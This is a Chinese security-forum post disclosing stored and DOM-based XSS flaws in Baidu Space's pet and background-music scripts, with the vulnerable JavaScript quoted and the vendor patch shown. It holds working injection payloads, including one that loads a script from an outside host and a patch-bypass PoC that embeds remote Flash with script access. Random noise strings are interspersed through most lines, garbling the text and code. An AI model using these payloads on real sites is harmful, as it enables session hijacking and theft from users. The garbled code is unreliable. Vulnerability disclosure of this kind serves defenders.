找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2200|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
% v4 u  X2 h- N% Y
4 y% G* G* t# ]1 F( W8 f1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  : K9 `- K5 D7 L+ c7 k
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
- M& ^4 G9 b/ `) w' {* ?/ f! N3 P
; q  Q( j" R% p" h7 z+ V* C$ C) s7 p7 P将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  $ G; \2 L) P* r0 o: B/ `
其中BdUtil.insertWBR为  / T- e" A' S" \
function(text, step) {  0 @  |5 }1 }8 ~" P
    var textarea = textAreaCache || getContainer();  
* B: ^; X+ T$ B( `    if (!textarea) {  
, z; p% |, L8 S, F7 s0 n        return text;  + J) y3 z- y- ~
    }  
8 q: m! Q" @* Z( k3 @: c    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
: p) J: E0 f8 ?( `  s# t  ]8 o    var string = textarea.value;  ) K( r; Q( ^# d+ I9 S) F" i
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
9 i( y$ h. q7 b. X5 x) q$ G; X    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  6 q0 D7 M5 B/ b+ r% B' P
    return result;  ( w$ j' H. S6 V- s6 h8 a! C
}  , x" F7 O$ `1 Q, g8 _
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
8 r: W- T8 d! f' H测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  ! b4 x5 v; m* `! I1 t  }
   
- t% K: t% O  H7 D( m二:creatbgmusic() Dom-Xss Bug  
$ c6 `+ O3 ?) |, l# l: K% F2 x百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
8 q+ Q) G; s7 z2 L: \% F! x+ m! L
, B6 ?  E+ X7 f6 A6 E+ M. xhttp://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
: H; k: \. O6 y6 h) F/ I9 d
, k' _& I6 g6 A* ifunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  # r7 a% O1 j* l' b4 C% P2 ]. J
    //传入的murl赋值到bgmusic1和bgmusic2中  ' ?* v& C4 W4 ]; S
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  & [* P- K2 r/ P- o0 q& F
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
. D& k; V0 T6 e, {3 u6 C, S! S    if (musicnum <= 1) {  
9 p( r( e* q( `# H6 z3 s        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  # \( J: l- C- k  M# D7 t7 o' D3 n
    }  
3 ?! _& q$ R/ {5 ~, E% O    bgmusic1 += "</OBJECT>";  
) }; ^, K0 W+ o    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
2 |) o# e2 p8 Y& \1 F0 ?    if (musicnum <= 1) {  
& U9 R7 a+ ~7 {% Q2 {% D; e( Z$ V        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  % K5 q% D, Y9 }! Q
    }  
" d7 {8 N( l# b: E0 k7 A6 R    bgmusic2 += "> </EMBED>";  
8 ]8 A9 _# \! k/ N4 ^8 D    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
2 P7 E* t  J, y5 R5 P    var bgmus = detectWMP();  
, {0 ^4 e0 j& M$ W4 B5 i% d    if (functype == "FckMusicHelper") {  , x- g! Q+ ]3 E9 C
        if (bgmus.installed) {  4 q& @) e* g  c7 G
            if (bgmus.type == "IE") {  
7 t2 K& V" f2 F' h                return bgmusic1;  ( L( T# Z* ?/ Z- m0 k/ g
            } else if (bgmus.type == "NS") {  % @1 b  U' n; U$ G& f
                return bgmusic2;  , g! V! ]; S  h- }9 \6 y9 Z& ]
            }  $ W$ s' i! b' F
        } else {  0 E4 D9 d- t2 N' r0 S8 ?. ~! P7 p
            return bgmusic3;  1 d: v7 L* W* w$ T' d( G8 e
        }  * t" R7 ~; T. k
    } else {  ; b# u. C$ q8 d5 a6 Z
        if (bgmus.installed) {  % w. E: P" R0 E+ _4 ^
            //document.write 直接输出bgmusic变量 导致xss  
& n0 S' p3 o6 ~) J            if (bgmus.type == "IE") {  " Z# Z3 s1 L5 C- s+ u  R, S  u% X) X
                document.write(bgmusic1);  - g& S5 m5 Z' u( B
            } else if (bgmus.type == "NS") {  ! D7 o& p, P% N" y" i, I
                document.write(bgmusic2);  / y: q+ Z; D- O5 Z
            }    @2 Y- \0 q% a, V
        } else {  
* n+ T; W& Y& P4 ~8 T& P. h% M            document.write(bgmusic3);  
$ R9 R- [, e. t" P9 i        }  6 f, C0 s/ y4 B  f0 T/ _+ W" Z
        return "";  & Z* x( x8 R9 b/ e% [# z
    }  2 @: K7 V, e( }. V  ]& [/ G1 L' k
}  ! p9 }$ E8 |* A) J9 E  Y& Z

/ l% O. E: r/ U7 F( E% t1 c在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  5 _9 z6 ]9 K1 t) x% ]$ {; F/ E

6 t; |, m- @* O" _6 h6 E( _( S* P9 Yfunction initBlogTextForFCK(){  
5 x, {% O% `2 z8 W+ \4 W; [% _//fck init music    g: W- s0 ]. s. [& D  `+ m
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  ; u* v# M6 h5 |% M4 u
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  & _! @; v7 v" [8 b
var isAutoPlay=true;  
& o# E& k! @, \; ~& ffor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  . u  c! @8 M2 H  k, }
  var img=imgBox;  4 T# I6 n* z) I; B4 I
  if(img.getAttribute(’rel’)){        
: g- k% ]3 p7 [' G   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
$ q- m& |  @$ M  t" z( X- \   var musicDiv = document.createElement("SPAN");  
' V( V0 A; R) E/ ]  K4 f: N( U   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
0 L/ f* {# l) |  E1 j  ]     
" J& b4 C/ U- P! \      ..........................  $ O) S# z( f# c& \0 d* Z/ U
     # u# q+ v( }0 c# g# _+ h2 z  N
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
% }2 `: W& O/ ?   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  ; `2 y# p7 |4 _9 j
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  1 q3 h! R6 ?1 L9 n" \
   musicDiv.innerHTML=shtml;  7 H1 k, M: l. y8 q' j# s' w
   i--;n--;  
- \( }- i# _: m! @! U8 B  a  }  
; P+ G0 `# p# u}  7 r, c0 R+ m+ m" a# J! I

+ C3 Y5 R7 H0 y% c8 f从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  ' X- t6 t+ B2 ~* ~0 q
   
- F6 ~0 o7 C( [6 Z& r- C测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
9 O4 H9 R! V" T- J9 g
; R+ W( _9 d1 m; R+ u等待官方补丁  3 R9 j) }* d" t6 f
, _1 M# L+ K0 V! x& H
update 2010年5月13日   
. R7 B& C, t# ], _8 R; D
, q7 l$ K* b* ?官方补丁:  
; c( {0 \$ b4 S: X, e
1 R! X* s, }' m* ~" j' c3 v8 I  l3 h, Nvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  7 S- M0 t$ d3 D8 a3 y
改为:  
4 G) J! z$ v- j7 kvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
4 u/ G! P$ x  a5 L
2 Y/ l+ P7 V% R5 A- |update 2010年5月13日 21:50:37  & e; g9 S: F! V: u! G$ H

7 l8 u$ k8 _- H6 e  C补丁存在漏洞 没有过滤" 可以继续跨:  
9 w- G# h- X( |! \2 D( q. Q1 a$ u( ~2 d) L* K7 d# ?  A9 M
NEW POC:  
  B, m1 L/ g# r$ m, Y  g; d" ?( c9 y$ \& w
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 2 o) B. e; P% w$ N+ Z( c
4 U" \4 k; y, i' r. e* I) x
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
+ M& M" {& z" V7 L( n2 q: e' B
! |1 |$ \: V4 i$ [5 M* z, \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表